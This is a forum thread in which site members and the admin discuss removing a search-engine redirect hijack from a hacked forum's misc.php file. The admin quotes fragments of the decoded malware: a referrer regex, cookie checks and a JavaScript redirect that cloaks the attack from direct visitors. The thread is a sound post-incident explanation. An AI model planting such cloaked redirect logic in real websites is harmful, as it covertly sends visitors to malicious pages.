MyFilestore.com - Your Free File Hosting ?

Status
Not open for further replies.
Came in cleanly after being away about 8 hours! I hope this is a good sign that the misc.php was the culprit. Did you have the security guys look at misc.php?
 
misc.php is a strange file, it lets you call other web pages and other things using misc.php.

What I did was I renamed the file to something else, then where the site needs misc.php I updated the code to call the new file. Since misc.php is not needed for every page call then it wont pop it gets rid of the hyjack, since no one is accessing it coming from Google or Yahoo. :)

The security company is shocked I was able to get rid of it this way.
 
Sounds like a "grep misc.php *" is in order in all the http files and see if you can find the culprit. I wonder if it was a "gift" left over from when the site was hacked...
 
It wasn't MyFileStore.com this morning. Instead, I got redirected to DBSTalk. BRING BACK MYFILESTORE.COM!

Just kidding. Working fine this morning!
 
BTW this is part of the code that was being called, hidden in base64 encoding...

This line would see where you were coming from....

$r = @preg_match('#live\.com|google\.|yahoo\.|bing.com|yandex\.ru|rambler\.ru|baidu\.#i', $t);


This line would check for its cookie
if (empty(
$_COOKIE[$n])) {
if (
$a && isset($_GET['v']) && (isset($_GET['g'])) && (!empty($_COOKIE[$c]))) {

This would give you a cookie, so that it wouldnt happen again for 36000 seconds (10 hours)
setcookie
($n, 'en', time() + 36000);$m = substr(md5($h), 0, 8);

Then finally it would sent you to to the bad site...
print(
"document.location='http://myfilestore.com/download.php?id={$m}'");


 
Last edited:
So it was only affecting people who came from Live, Google, Yahoo ... and three, I presume, Russian, search sites ?
 
Good riddance to a pesky bug! Good work tracing it down Scott.
 
I still wonder where that sneaky code came from.
It really doesn't matter. If someone was able to write to that file, they could very well have had access to a lot more !

Wasn't everything wiped/reloaded after the hack/shutdown of the site a few months ago ? If so, either this (modified) file was restored or someone got in again later.
 
It came in via a vbseo file which was not removed from the system.

It's gone now. :)

Sent from my iPhone using SatelliteGuys
 
misc.php needed for whoposted (shows who posted in a specified topic.)

also for showrules
 
Status
Not open for further replies.

Log In Issue

Email Server Issues

Users Who Are Viewing This Thread (Total: 0, Members: 0, Guests: 0)

Who Read This Thread (Total Members: 1)

Latest posts